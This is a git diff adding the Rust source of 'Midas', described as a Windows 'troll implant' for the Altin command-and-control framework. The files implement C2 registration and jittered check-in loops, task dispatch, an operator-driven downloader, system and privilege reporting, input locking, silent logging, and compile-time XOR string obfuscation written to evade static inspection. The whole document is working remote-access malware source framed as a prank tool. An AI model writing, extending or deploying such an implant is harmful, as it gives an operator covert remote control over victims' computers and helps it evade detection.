+    let mut lines = vec![
+        format!("implant: {}", crate::config::IMPLANT_ID),
+        format!("os: {}", os_name()),
+        format!("gui overlays: {}", if gui_available() { "available" } else { "unavailable" }),
+    ];
+
+    match gui::win::screen_size() {
+        Some((w, h)) => lines.push(format!("screen: {w}x{h}")),
+        None => lines.push(obf!("screen: could not be determined").to_string()),
+    }
+
+    // Windows can report whether it is elevated, which is the difference
+    // between `lockinput` working and being refused.
+    lines.push(format!("elevated: {}", gui::win::is_elevated()));
+
+    // The overlay host is started lazily by the first visual command, so this
+    // is the one place an operator learns that it cannot start at all - a target
+    // with no usable OpenGL implementation, say - before sending a prank to a
+    // host that cannot show it.
+    lines.push(gui::host_status());
+    lines.push(gui::describe_overlays());
+
+    // A continuous `lockinput` is invisible otherwise, and the operator is the
+    // only one who can end it - worth saying it is on the line that is read
+    // before doing anything else.
+    if let Some(status) = gui::input_lock_status() {
+        lines.push(status);
+    }
+
+    // Anything that panicked. On a target nobody is sitting at, stderr is nowhere
+    // to look, so without this the only symptom of a dead overlay backend is a
+    // command that quietly did nothing.
+    for entry in crate::log::recent_panics() {
+        lines.push(format!("panic: {entry}"));
+    }
+
+    lines.join("\n")
+}
diff --git a/implants/midas/src/jobs.rs b/implants/midas/src/jobs.rs
new file mode 100644
index 0000000..2507c97
--- /dev/null
+++ b/implants/midas/src/jobs.rs
@@ -0,0 +1,98 @@
+//! Side effects that are not overlay windows: file retrieval, sound, URLs.
+
+use std::io::Read;
+use std::path::PathBuf;
+
+/// Upper bound on a download. Large enough for a wallpaper or a jump-scare
+/// video frame, small enough that a mistyped URL cannot fill the disk.
+const MAX_DOWNLOAD: u64 = 32 * 1024 * 1024;
+
+/// Downloads `url` into the implant's cache directory and returns the path.
+///
+/// Only the final path component of `filename` is honoured. Without that, a
+/// name like `../../.config/autostart/evil` would write outside the cache -
+/// this is the only place Midas turns operator input into a filesystem path.
+pub fn fetch(url: &str, filename: &str) -> Result {
+    if !url.starts_with("http://") && !url.starts_with("https://") {
+        return Err("URL must start with http:// or https://".into());
+    }
+
+    let safe_name = sanitise_name(filename)?;
+    let mut destination = cache_dir()?;
+    destination.push(&safe_name);
+
+    if let Some(parent) = destination.parent() {
+        std::fs::create_dir_all(parent)
+            .map_err(|e| format!("could not create {}: {e}", parent.display()))?;
+    }
+
+    let response = ureq::get(url)
+        .set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
+        .call()
+        .map_err(|e| format!("GET {url} failed: {e}"))?;
+
+    let mut body = Vec::new();
+    response
+        .into_reader()
+        .take(MAX_DOWNLOAD)
+        .read_to_end(&mut body)
+        .map_err(|e| format!("could not read the response body: {e}"))?;
+
+    if body.is_empty() {
+        return Err("the response was empty".into());
+    }
+
+    std::fs::write(&destination, &body)
+        .map_err(|e| format!("could not write {}: {e}", destination.display()))?;
+
+    Ok(destination.to_string_lossy().into_owned())
+}
+
+/// Strips any directory component from a caller-supplied name.
+fn sanitise_name(filename: &str) -> Result {
+    let base = filename
+        .rsplit(['/', '\\'])
+        .next()
+        .unwrap_or_default()
+        .trim();
+
+    if base.is_empty() {
+        return Err("filename is empty once directories are stripped".into());
+    }
+
+    if base == "." || base == ".." || base.contains('\0') {
+        return Err("filename is not a usable file name".into());
+    }
+
+    Ok(base.to_string())
+}
+
+fn cache_dir() -> Result {
+    let base = std::env::temp_dir();
+    let dir = base.join("midas");
+
+    std::fs::create_dir_all(&dir).map_err(|e| format!("could not create {}: {e}", dir.display()))?;
+    Ok(dir)
+}
+
+/// Plays a sound with `PlaySoundW`.
+///
+/// The call is asynchronous, so a looping sound does not need a worker thread of
+/// its own, and it is the only player this implant uses.
+pub fn play_sound(path: &str, looping: bool) -> Result<(), String> {
+    crate::gui::win::play_sound(path, looping)
+}
+
+/// Opens a URL in the default browser. `background` is accepted for interface
+/// symmetry with the command schema; `ShellExecuteW` with `SW_SHOWNORMAL`
+/// returns as soon as the browser is launched, so the call never blocks.
+pub fn open_url(url: &str, _background: bool) -> Result<(), String> {
+    if !url.starts_with("http://")
+        && !url.starts_with("https://")
+        && !url.starts_with("mailto:")
+    {
+        return Err("only http, https and mailto URLs are opened".into());
+    }
+
+    crate::gui::win::open_url(url)
+}
diff --git a/implants/midas/src/log.rs b/implants/midas/src/log.rs
new file mode 100644
index 0000000..4e81bda
--- /dev/null
+++ b/implants/midas/src/log.rs
@@ -0,0 +1,108 @@
+//! Opt-in logging, and capture of anything that panicked.
+//!
+//! Off unless `MIDAS_LOG` is set to something other than `0` or empty, so a
+//! release build is silent on the operator's desktop by default. Diagnostics
+//! from background threads go through here rather than `eprintln!` for that
+//! reason - a prank that prints to a visible console is a prank that gives
+//! itself away.
+//!
+//! Output goes to stderr, which on both target platforms is either invisible
+//! (a GUI-subsystem build) or closed, so nothing lands in a visible window
+//! unless the operator launched the implant from a terminal. That is the whole
+//! reason panics are *also* kept in memory below: stderr is not a channel the
+//! operator has access to on a target they are not sitting at, and a panic whose
+//! only symptom is a command that quietly does nothing is not a diagnosis.
+
+use std::sync::{Mutex, OnceLock};
+
+/// How many panics are kept for `sysinfo` to report.
+const RECENT_LIMIT: usize = 8;
+
+static LOGGING: OnceLock = OnceLock::new();
+
+pub fn enabled() -> bool {
+    *LOGGING.get_or_init(|| {
+        std::env::var("MIDAS_LOG")
+            .map(|v| !v.is_empty() && v != "0")
+            .unwrap_or(false)
+    })
+}
+
+pub fn log(message: &str) {
+    if enabled() {
+        eprintln!("[midas] {message}");
+    }
+}
+
+/// `log` for a message that is only assembled when logging is on.
+///
+/// Used on paths that would otherwise format a string nobody reads.
+pub fn log_lazy(build: impl FnOnce() -> String) {
+    if enabled() {
+        eprintln!("[midas] {}", build());
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Panics
+// ---------------------------------------------------------------------------
+
+/// Recent panic messages, kept so `sysinfo` can report them.
+static RECENT: OnceLock>> = OnceLock::new();
+
+fn recent() -> &'static Mutex> {
+    RECENT.get_or_init(|| Mutex::new(Vec::new()))
+}
+
+/// Reduces a panic message to the part worth acting on.
+///
+/// A default payload reads
+/// `thread 'midas-gui' panicked at :::\n`. The thread
+/// name is Midas' own and identifies nothing, the message sits on a second line
+/// where it is easy to lose, and the location is the part actually worth acting
+/// on - so the boilerplate is dropped and the rest is flattened onto one line.
+pub fn normalise_panic(message: &str) -> String {
+    let flattened = message.replace(['\n', '\r'], " ");
+    let collapsed = flattened.split_whitespace().collect::>().join(" ");
+
+    match collapsed.split_once("panicked at ") {
+        Some((_, rest)) => rest.to_string(),
+        None => collapsed,
+    }
+}
+
+/// Replaces the default panic hook.
+///
+/// The default one is deliberately *not* chained to. It prints
+/// `thread '' panicked at ...`, and because the name is always one of ours
+/// that line comes out identical for every distinct failure - it named nothing,
+/// so it read as a repeat of a problem already reported rather than as new
+/// information. It goes to stderr as well, which on a target the operator has no
+/// terminal on is nowhere at all.
+///
+/// The normalised form replaces it, and the same text is kept so `sysinfo` can
+/// report it back over the same channel the commands arrived on.
+pub fn install_panic_hook() {
+    std::panic::set_hook(Box::new(|info| {
+        // `Display` on the hook info is the fully formatted message, location
+        // included, and is the supported way to read it.
+        let normalised = normalise_panic(&format!("{info}"));
+
+        log(&format!("panic: {normalised}"));
+
+        if let Ok(mut recent) = recent().lock() {
+            if recent.len() == RECENT_LIMIT {
+                recent.remove(0);
+            }
+            recent.push(normalised);
+        }
+    }));
+}
+
+/// The panics seen so far, newest last, for `sysinfo`.
+pub fn recent_panics() -> Vec {
+    recent()
+        .lock()
+        .map(|recent| recent.clone())
+        .unwrap_or_default()
+}
diff --git a/implants/midas/src/main.rs b/implants/midas/src/main.rs
new file mode 100644
index 0000000..872cea2
--- /dev/null
+++ b/implants/midas/src/main.rs
@@ -0,0 +1,154 @@
+//! Midas - troll implant for the Altin C2.
+//!
+//! Two loops, mirroring `implants/tombili/src/main.nim`: register until the
+//! server accepts, then check in forever.
+//!
+//! The one structural difference from Tombili is that `commands::dispatch`
+//! always returns promptly. Visual commands hand off to the GUI thread in
+//! `gui` or to a worker thread and acknowledge immediately, because the Web UI
+//! stops waiting on a task after 90 seconds and a modal dialog or a 30-second
+//! shake would otherwise be reported as a failure even though it worked.
+
+// Windows only. The command surface is built on Win32 - moving another
+// application's window, warping the pointer, `BlockInput`, `PlaySoundW` - and
+// the X11 backend that used to cover Linux could not do most of it under
+// Wayland, so a non-Windows build would compile into something that silently
+// did nothing. Say so at build time instead.
+//
+// The modules are gated too. Without that, every one of them also fails to
+// resolve and a cross-compile attempt produces a hundred errors that bury the
+// one that explains itself.
+#[cfg(not(windows))]
+compile_error!(
+    "midas is a Windows-only implant; build with `--target x86_64-pc-windows-msvc` \
+     (or `-gnu`)"
+);
+
+#[cfg(windows)]
+mod commands;
+#[cfg(windows)]
+mod comm;
+#[cfg(windows)]
+mod config;
+#[cfg(windows)]
+mod gdi;
+#[cfg(windows)]
+mod gui;
+#[cfg(windows)]
+mod info;
+#[cfg(windows)]
+mod jobs;
+#[cfg(windows)]
+mod log;
+#[cfg(windows)]
+mod obf;
+#[cfg(windows)]
+mod rng;
+#[cfg(windows)]
+mod sleep;
+
+#[cfg(windows)]
+use log::log;
+
+#[cfg(windows)]
+fn main() {
+    // Before anything else can panic. The default hook's output names only the
+    // thread - always one of Midas' own - so it reads the same for every distinct
+    // fault and says nothing; the replacement keeps the location and reports it
+    // back through `sysinfo`.
+    log::install_panic_hook();
+
+    sleep::init();
+
+    log(&format!(
+        "{} {} on {} (desktop: {}, elevated: {})",
+        config::IMPLANT_ID,
+        env!("CARGO_PKG_VERSION"),
+        info::os_name(),
+        info::gui_available(),
+        gui::win::is_elevated(),
+    ));
+
+    register();
+    checkin_loop();
+}
+
+/// Blocks until the server has the agent's manifest, or the failure limit is hit.
+///
+/// The server answers `STATUS_CONTINUE` both for a fresh registration and for
+/// an agent that is already registered, so either ends the loop.
+#[cfg(windows)]
+fn register() {
+    let limit = config::reg_fail_limit();
+    let mut failures: u32 = 0;
+
+    loop {
+        match comm::send_registration() {
+            Ok(comm::STATUS_CONTINUE) => {
+                log("registered");
+                return;
+            }
+            Ok(status) => log(&format!("registration returned status {status}")),
+            Err(e) => log(&format!("registration failed: {e}")),
+        }
+
+        failures += 1;
+
+        if limit > 0 && failures >= limit {
+            log("registration failure limit reached, giving up");
+            std::process::exit(0);
+        }
+
+        sleep::do_sleep();
+    }
+}
+
+#[cfg(windows)]
+fn checkin_loop() {
+    loop {
+        match comm::checkin() {
+            Ok(comm::Checkin::Tasks(tasks)) => {
+                for task in tasks {
+                    run_task(task);
+                }
+            }
+            Ok(comm::Checkin::NeedsRegistration) => {
+                // The agent row was deleted from the Web UI, or the server was
+                // restarted against a fresh database. Re-register rather than
+                // silently idling forever.
+                log("server asked for re-registration");
+                register();
+            }
+            Ok(comm::Checkin::Idle) => {}
+            Err(e) => log(&format!("check-in failed: {e}")),
+        }
+
+        sleep::do_sleep();
+    }
+}
+
+#[cfg(windows)]
+fn run_task(task: serde_json::Value) {
+    let task_id = task
+        .get(obf!("task_id"))
+        .and_then(|v| v.as_str())
+        .unwrap_or_default()
+        .to_string();
+
+    let name = task
+        .get(obf!("task"))
+        .and_then(|v| v.as_str())
+        .unwrap_or("?")
+        .to_string();
+
+    log(&format!("task {task_id}: {name}"));
+
+    let result = commands::dispatch(&task);
+    log(&format!("task {task_id} -> {result}"));
+
+    if let Err(e) = comm::send_task_result(&task_id, &result) {
+        // The server re-delivers a task until it sees a result, so a lost one
+        // means the command runs again on the next check-in. Worth logging.
+        log(&format!("could not report result for {task_id}: {e}"));
+    }
+}
diff --git a/implants/midas/src/obf.rs b/implants/midas/src/obf.rs
new file mode 100644
index 0000000..6814304
--- /dev/null
+++ b/implants/midas/src/obf.rs
@@ -0,0 +1,67 @@
+//! Compile-time string obfuscation.
+//!
+//! The Rust equivalent of Tombili's `obf()` macro in `utils.nim`. A string
+//! literal is XOR-encoded during const evaluation and decoded at the point of
+//! use, so the plaintext never appears in the compiled binary.
+//!
+//! This is obfuscation, not encryption. It defeats a casual `strings` pass; it
+//! does not survive anything that debugs the process.
+
+include!(concat!(env!("OUT_DIR"), "/seed.rs"));
+
+/// Upper bound on a single obfuscated literal.
+pub const MAX_LEN: usize = 256;
+
+/// XOR-encode `s` at compile time. `out` is zero-padded past `s.len()`; the
+/// padding is never decoded because every call site passes the original length.
+pub const fn encode_const(s: &[u8], seed: u32) -> [u8; MAX_LEN] {
+    let mut out = [0u8; MAX_LEN];
+    let mut k = seed | 1;
+    let mut i = 0;
+
+    while i < s.len() && i < MAX_LEN {
+        k = k.wrapping_add(1);
+        out[i] = s[i] ^ (k & 0xFF) as u8;
+        i += 1;
+    }
+
+    out
+}
+
+/// Encodes a string that is only known at compile time from *outside* the
+/// source, such as a value baked in by `option_env!`.
+///
+/// `obf!` cannot cover those: it needs a literal written in the source, and
+/// `option_env!` expands to a literal the build environment supplied, which the
+/// compiler would otherwise embed verbatim. This takes the already-materialised
+/// `&str` and returns `(length, bytes)` for `decode`.
+pub const fn encode_static(s: &str) -> (usize, [u8; MAX_LEN]) {
+    (s.len(), encode_const(s.as_bytes(), SEED))
+}
+
+/// Decode the first `len` bytes of `encoded`.
+pub fn decode(encoded: &[u8; MAX_LEN], len: usize, seed: u32) -> String {
+    let mut k = seed | 1;
+    let mut out = Vec::with_capacity(len);
+
+    for &b in encoded.iter().take(len) {
+        k = k.wrapping_add(1);
+        out.push(b ^ (k & 0xFF) as u8);
+    }
+
+    String::from_utf8_lossy(&out).into_owned()
+}
+
+/// Obfuscate a string literal.
+///
+/// Encoding happens in a `const` item, so the work is done by the compiler and
+/// nothing is computed at startup. Takes a literal rather than an expression so
+/// that `$s.as_bytes()` and `$s.len()` are both const-evaluable.
+#[macro_export]
+macro_rules! obf {
+    ($s:literal) => {{
+        const ENCODED: [u8; $crate::obf::MAX_LEN] =
+            $crate::obf::encode_const($s.as_bytes(), $crate::obf::SEED);
+        $crate::obf::decode(&ENCODED, $s.len(), $crate::obf::SEED)
+    }};
+}
diff --git a/implants/midas/src/rng.rs b/implants/midas/src/rng.rs
new file mode 100644
index 0000000..3ce9f53
--- /dev/null
+++ b/implants/midas/src/rng.rs
@@ -0,0 +1,42 @@
+//! Minimal xorshift for the animated overlays.
+//!
+//! Shared by both rendering backends so `static`, `glitch` and the matrix rain
+//! look the same whichever one is drawing. Only cosmetic, so there is no reason
+//! to reach for a dependency.
+
+pub struct Rng(u64);
+
+impl Rng {
+    pub fn new(seed: u64) -> Rng {
+        // A zero state is absorbing, so it is forced away from it.
+        Rng(seed | 1)
+    }
+
+    fn next(&mut self) -> u64 {
+        self.0 ^= self.0 << 13;
+        self.0 ^= self.0 >> 7;
+        self.0 ^= self.0 << 17;
+        self.0
+    }
+
+    /// Uniform in `[0, 1)`, from the top 24 bits.
+    pub fn f32(&mut self) -> f32 {
+        (self.next() >> 40) as f32 / 16_777_216.0
+    }
+
+    /// Uniform in `[low, high)` as a float.
+    pub fn range(&mut self, low: f32, high: f32) -> f32 {
+        low + self.f32() * (high - low)
+    }
+
+    /// Uniform in `[low, high)` as an integer.
+    ///
+    /// The high bound is exclusive, which is what every caller here wants: a
+    /// rect of height `0` is not something to hand the rasteriser.
+    pub fn range_i32(&mut self, low: i32, high: i32) -> i32 {
+        if high <= low {
+            return low;
+        }
+        low + (self.next() % (high - low) as u64) as i32
+    }
+}
diff --git a/implants/midas/src/sleep.rs b/implants/midas/src/sleep.rs
new file mode 100644
index 0000000..143d34e
--- /dev/null
+++ b/implants/midas/src/sleep.rs
@@ -0,0 +1,107 @@
+//! Check-in pacing.
+//!
+//! Tombili keeps this in module-level `var`s; Midas uses atomics so `setsleep`
+//! can run on a worker thread while the check-in loop is sleeping.
+
+use std::sync::atomic::{AtomicU64, Ordering};
+use std::time::Duration;
+
+use crate::config;
+
+static SLEEP_SECS: AtomicU64 = AtomicU64::new(10);
+static JITTER_SECS: AtomicU64 = AtomicU64::new(5);
+
+pub fn init() {
+    SLEEP_SECS.store(config::checkin_sleep(), Ordering::Relaxed);
+    JITTER_SECS.store(config::checkin_jitter(), Ordering::Relaxed);
+}
+
+pub fn get() -> (u64, u64) {
+    (
+        SLEEP_SECS.load(Ordering::Relaxed),
+        JITTER_SECS.load(Ordering::Relaxed),
+    )
+}
+
+/// Returns an error instead of applying a nonsensical value, so the operator
+/// gets the reason back in the task result.
+pub fn set(sleep_secs: u64, jitter_secs: u64) -> Result<(), String> {
+    if sleep_secs == 0 {
+        return Err("sleep time must be greater than zero".into());
+    }
+    if jitter_secs > sleep_secs {
+        return Err("jitter cannot be greater than the sleep time".into());
+    }
+
+    SLEEP_SECS.store(sleep_secs, Ordering::Relaxed);
+    JITTER_SECS.store(jitter_secs, Ordering::Relaxed);
+    Ok(())
+}
+
+/// Sleeps for the configured interval plus uniform jitter.
+///
+/// A jitter of 0 must produce exactly the base interval. Using the full
+/// `[-jitter, +jitter]` range would halve the effective sleep, which is
+/// surprising when jitter is 0 and impossible when jitter equals the sleep.
+pub fn do_sleep() {
+    let (sleep_secs, jitter_secs) = get();
+
+    let base_ms = sleep_secs.saturating_mul(1000) as i64;
+    let jitter_ms = jitter_secs.saturating_mul(1000) as i64;
+
+    let offset = if jitter_ms == 0 {
+        0
+    } else {
+        rand_range(-jitter_ms..=jitter_ms)
+    };
+
+    let total = (base_ms + offset).max(0) as u64;
+
+    crate::log::log_lazy(|| {
+        format!("sleeping {sleep_secs}s + {offset}ms jitter ({total}ms total)")
+    });
+
+    std::thread::sleep(Duration::from_millis(total));
+}
+
+/// Uniform value in `range` from a small xorshift64 generator.
+///
+/// Deliberately not seeded from a CSPRNG and not used for anything security
+/// relevant - this only spreads check-in times so a fleet does not beat in
+/// lockstep. Kept in-crate to avoid pulling in `rand` for one call.
+fn rand_range(range: std::ops::RangeInclusive) -> i64 {
+    use std::cell::Cell;
+    use std::time::{SystemTime, UNIX_EPOCH};
+
+    thread_local! {
+        static STATE: Cell = const { Cell::new(0) };
+    }
+
+    let value = STATE.with(|state| {
+        let mut x = state.get();
+        if x == 0 {
+            let nanos = SystemTime::now()
+                .duration_since(UNIX_EPOCH)
+                .map(|d| d.as_nanos() as u64)
+                .unwrap_or(0x2545_F491_4F6C_DD1D);
+            x = nanos ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
+            if x == 0 {
+                x = 0x2545_F491_4F6C_DD1D;
+            }
+        }
+
+        // xorshift64
+        x ^= x << 13;
+        x ^= x >> 7;
+        x ^= x << 17;
+        state.set(x);
+        x
+    });
+
+    let span = range.end() - range.start() + 1;
+    if span <= 0 {
+        return *range.start();
+    }
+
+    range.start() + (value % span as u64) as i64
+}